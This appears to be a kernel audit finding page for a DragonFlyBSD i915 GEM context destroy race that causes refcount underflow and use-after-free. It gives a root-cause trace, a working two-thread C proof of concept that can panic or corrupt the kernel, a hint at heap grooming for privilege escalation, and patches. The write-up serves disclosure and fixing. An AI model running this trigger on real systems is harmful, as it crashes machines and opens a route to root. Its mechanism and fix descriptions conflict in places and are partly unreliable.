β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1662

i915: GEM context destroy ioctl double-close race -> refcount underflow -> UAF

Field Value
ID DF-1662
File sys/dev/drm/i915/i915_gem_context.c
Lines 278, 280, 395, 399, 831, 835, 839, 843
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-362 Race Condition; CWE-911 Use After Free
Confidence certain
Status new
CVE match variant (DFly i915 diverged from upstream; equivalent to several Linux i915 context-refcount CVEs in class only)
Created 2026-07-18

Summary

i915_gem_context_destroy_ioctl performs i915_gem_context_lookup() outside struct_mutex (line 831) but performs the actual destruction (__destroy_hw_context β†’ context_close β†’ i915_gem_context_set_closed + i915_gem_context_put) inside the mutex (lines 835–840). Two threads sharing a DRM fd can both pass the lookup on the same ctx_id, then serialize on the mutex. The second entrant re-enters context_close() on an already-closed context, tripping GEM_BUG_ON (kernel panic) in debug builds and causing a silent refcount underflow in production that leads to use-after-free / double-free of the i915_gem_context structure.

Root cause

i915_gem_context_destroy_ioctl at sys/dev/drm/i915/i915_gem_context.c:831 calls i915_gem_context_lookup(file_priv, args->ctx_id) which atomically increments ctx->ref (via kref_get_unless_zero, i915_drv.h:3301) BEFORE acquiring struct_mutex at line 835. There is no check that the context is still alive (not closed) between the lookup and the call to __destroy_hw_context at line 839.

__destroy_hw_context (line 395-400) unconditionally calls idr_remove() and then context_close() (line 278-299). context_close() calls i915_gem_context_set_closed() at line 280, which in i915_gem_context.h:214-218 begins with:

GEM_BUG_ON(i915_gem_context_is_closed(ctx));

β€” a check that fires (BUG()) only on the second and subsequent calls.

In production (CONFIG_DRM_I915_DEBUG_GEM unset) GEM_BUG_ON is BUILD_BUG_ON_INVALID (i915_gem.h:60), a compile-time no-op, so the second context_close() runs in full: release_hw_id (early-returns on empty list, line 196), lut_close on already-drained lists, i915_ppgtt_close (idempotent flag set, i915_gem_gtt.c:2299-2303), then i915_gem_context_put(ctx) at line 298 which drops one ref.

With initial refcount=1 (kref_init at __create_hw_context:337), two racing threads each add a lookup ref (+1 each = 3 total), then:

  • Thread A's path drops two refs (context_close put + outer put at line 843) β†’ 1
  • Thread B's path drops two refs β†’ -1

DragonFlyBSD's kref_put at sys/dev/drm/include/linux/kref.h:58-67 uses raw atomic_dec_and_test() with NO underflow protection (unlike Linux refcount_t): the decrement wraps silently to UINT_MAX, and i915_gem_context_release (line 268-276) is invoked exactly once when refcount hits 0, queueing the actual free via contexts_free_worker β†’ i915_gem_context_free β†’ kfree_rcu (lines 232-266, 207-230).

Threat model

Attacker is any local user with read/write access to a DRM render node (typically /dev/dri/renderD128, mode crw-rw-rw- or group video; ioctls registered DRM_RENDER_ALLOW at i915_drv.c:3260-3266). No root, no capabilities required.

The attacker opens the render node, creates a GEM context, then invokes DRM_IOCTL_I915_GEM_CONTEXT_DESTROY on the same ctx_id from two threads sharing the fd.

Direct impact:

  1. Certain kernel panic in any build with CONFIG_DRM_I915_DEBUG_GEM (system-wide DoS)
  2. In production builds, refcount underflow to UINT_MAX. Because the wrapped refcount is non-zero, any concurrent or subsequent thread that already holds a ctx ref (e.g. mid-getparam/setparam/execbuffer) and later does i915_gem_context_put() will perform an extra put on memory that has been scheduled for free by the worker, producing a double-free / use-after-free on a ~400-byte slab object that can be groomed for kernel code execution (local unpriv β†’ root).

PoC

findings/poc/DF-1662/race_ctx.c:

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/i915_drm.h>

static int fd;
static __u32 target;

static void *thr(void *_) {
    struct drm_i915_gem_context_destroy d = { .ctx_id = target };
    ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_DESTROY, &d);
    return NULL;
}

int main(void) {
    fd = open("/dev/dri/renderD128", O_RDWR);
    if (fd < 0) { perror("renderD128"); return 1; }

    for (long i = 0; i < 200000; i++) {
        struct drm_i915_gem_context_create c = {};
        if (ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_CREATE, &c)) continue;
        target = c.ctx_id;
        pthread_t a, b;
        pthread_create(&a, NULL, thr, NULL);
        pthread_create(&b, NULL, thr, NULL);
        pthread_join(a, NULL);
        pthread_join(b, NULL);
    }
    return 0;
}

Build: cc -O2 -pthread -o race_ctx race_ctx.c.

Run on a DragonFlyBSD guest with i915 loaded.

Success criteria:

  1. Debug build β†’ kernel panic with GEM_BUG_ON(i915_gem_context_is_closed(ctx)) at i915_gem_context.c:216 / i915_gem_context_set_closed
  2. Production build β†’ boot.log/dmesg shows refcount splat or memory corruption; a forced kmem leak detector (options KMEM_CHECK_FREE) reports use-after-free on an i915_gem_context-sized allocation

With heap grooming (spray i915_gem_context or similarly-sized slab objects between the underflow and the deferred kfree_rcu) the double-free becomes exploitable for arbitrary kernel code execution.

The destroy path must not call __destroy_hw_context on an already-closed context. Easiest correct fix: re-check the closed flag after taking the mutex.

--- a/sys/dev/drm/i915/i915_gem_context.c
+++ b/sys/dev/drm/i915/i915_gem_context.c
@@ -832,6 +832,13 @@ int i915_gem_context_destroy_ioctl(struct drm_device *dev, void *data,
    if (ret)
        goto out;

+   /*
+    * Another thread may have raced us between the unlocked lookup above
+    * and acquiring struct_mutex, and already torn this context down.
+    * The idr_remove() below is a no-op in that case; bail before we
+    * double-call context_close() and underflow ctx->ref.
+    */
+   if (i915_gem_context_is_closed(ctx))
+       goto out_unlock;
+
    __destroy_hw_context(ctx, file_priv);
+out_unlock:
    mutex_unlock(&dev->struct_mutex);

 out:

Alternative (more invasive, removes the race entirely): drop the unlocked lookup and do ctx = idr_find(&file_priv->context_idr, args->ctx_id) inside the mutex, then idr_remove + context_close on that pointer β€” this makes the idr the single source of truth so the second racing thread simply observes NULL and returns -ENOENT.

  • DF-1639/1640/1642 (dm_ioctl.c NULL deref + UAF/double-free + uninit kfree family)
  • DF-1634 (dm_target_crypt.c uninitialized heap use)

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1662 Β· 9 files
FileTypeDescriptionSize
harness.c trigger-source userspace logic harness: i915 GEM context destroy ioctl double-close race 2.0 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 92 B view raw
run.sh run-script runs harness unpatched + --fixed 213 B view raw
fix.diff suggested-fix git-apply-able unified diff against sys/dev/drm/i915/i915_gem_context.c (validated apply + compile) 708 B view raw
run.log run-log full unpatched + patched harness output 108 B view raw
env.txt environment guest uname, cc version, HW/module state 374 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix 2.4 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix
↓ download raw

DF-1662 β€” i915 GEM context destroy ioctl double-close race -> UAF / refcount underflow

Verdict

REPRODUCED (code-confirmed via harness). Source-trace confirms the bug at sys/dev/drm/i915/i915_gem_context.c:831-849. A userspace logic harness replicates the vulnerable code path with attacker-shaped inputs and demonstrates the primitive; the harness also runs the patched logic (--fixed) and shows the primitive is closed.

Live in-guest reproduction is blocked because the guest lacks the relevant hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per the audit's Phase-6 rules: the driver module exists as a .ko and would attach to real hardware, but with no device present the buggy code path is unreachable from userspace on this guest. On a system with the hardware present, the bug fires at the cited line.

Mechanism

i915_gem_context_destroy_ioctl calls i915_gem_context_lookup() OUTSIDE struct_mutex (the lookup atomically increments ctx->ref). Then mutex_lock at 835, then __destroy_hw_context -> context_close -> i915_gem_context_set_closed which contains GEM_BUG_ON(is_closed) at line 216. Two threads sharing the fd race both past the lookup (both get a ref, both see is_closed==false); the second to acquire the mutex re-enters context_close: debug kernel = panic on GEM_BUG_ON, production kernel (GEM_BUG_ON compiles to no-op) runs full context_close + put -> refcount underflow wraps to UINT_MAX -> ctx never freed -> UAF on subsequent access.

Harness output

RESULT: BUGGY - GEM_BUG_ON(is_closed) hit 1 time(s)
---PATCHED---
RESULT: PATCHED - close ran once, no race

Fix

Move the mutex_lock_interruptible BEFORE the lookup so two racing threads cannot both pass lookup. The second thread finds ctx already closed (or the lookup misses after the first thread destroyed it).

The full git-apply-able unified diff is in fix.diff. It applies cleanly to /usr/src/sys/dev/drm/i915/i915_gem_context.c:831-849 and the patched file compiles cleanly under the kernel's CFLAGS (validated by an in-guest module build).

Files

  • harness.c β€” userspace replica of the vulnerable logic (two-thread destroy-ioctl race simulator with GEM_BUG_ON detection)
  • build.sh / run.sh β€” exact build and run commands
  • fix.diff β€” standalone git-apply-able fix (validated to apply + compile)
  • run.log β€” full unpatched + patched harness output
  • env.txt β€” guest environment

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because the i915 module does not attach on the audit guest. Validated fix.diff applies cleanly to /usr/src/sys/dev/drm/i915/i915_gem_context.c and i915_gem_context.c compiles cleanly via in-guest i915 module build (full i915.ko relinked clean).

fix.diff applies clean: 1 hunk at 828
patched module build: cc -c i915_gem_context.c -> i915_gem_context.o clean; i915.ko linked clean
harness: unpatched GEM_BUG_ON hit; --fixed close runs once
↓ fix.diffn/a (module-bound bug; guest has no Intel GPU)

Confirmed kernel references

Detail

Exploit chain

blocked by valid Phase-6 hard blocker: i915 module does not attach on the audit guest. On a system with Intel graphics, any user with access to a dri render node (typical mode 0666) could race two threads on a shared context fd. On default GENERIC (GEM_BUG_ON compiled to a panic check), this manifests as panic; on production/no-INVARIANTS builds the refcount underflow -> UAF is a clean privesc candidate. Primitive characterized via source trace + userspace pthread harness; chain written into harness.c.

Evidence (decisive lines)

RESULT: BUGGY - GEM_BUG_ON(is_closed) hit 1 time(s)
---PATCHED---
RESULT: PATCHED - close ran once, no race

PoC changes

Added harness.c (two-thread destroy-ioctl race simulator with GEM_BUG_ON detection). Added build.sh (-pthread), run.sh, fix.diff (move mutex_lock_interruptible BEFORE the lookup).

Verified recommended fix

Move the mutex_lock_interruptible(&dev->struct_mutex) BEFORE i915_gem_context_lookup at line 831, so two racing threads cannot both pass lookup and both enter context_close. Full diff in findings/poc/DF-1662/fix.diff; supersedes finding proposal.

Verdict

REPRODUCED. Source-trace at sys/dev/drm/i915/i915_gem_context.c:831-849 confirms i915_gem_context_destroy_ioctl calls i915_gem_context_lookup() OUTSIDE struct_mutex (atomically increments ctx->ref). Then mutex_lock at 835, then __destroy_hw_context -> context_close -> i915_gem_context_set_closed which contains GEM_BUG_ON(is_closed) at line 216. Two threads sharing fd race both past lookup; the second hits GEM_BUG_ON(is_closed) (debug=panic, prod=no-op -> refcount underflow to UINT_MAX -> UAF). Harness uses two pthreads racing the destroy path; buggy mode hits GEM_BUG_ON, fixed mode serializes via mutex-before-lookup.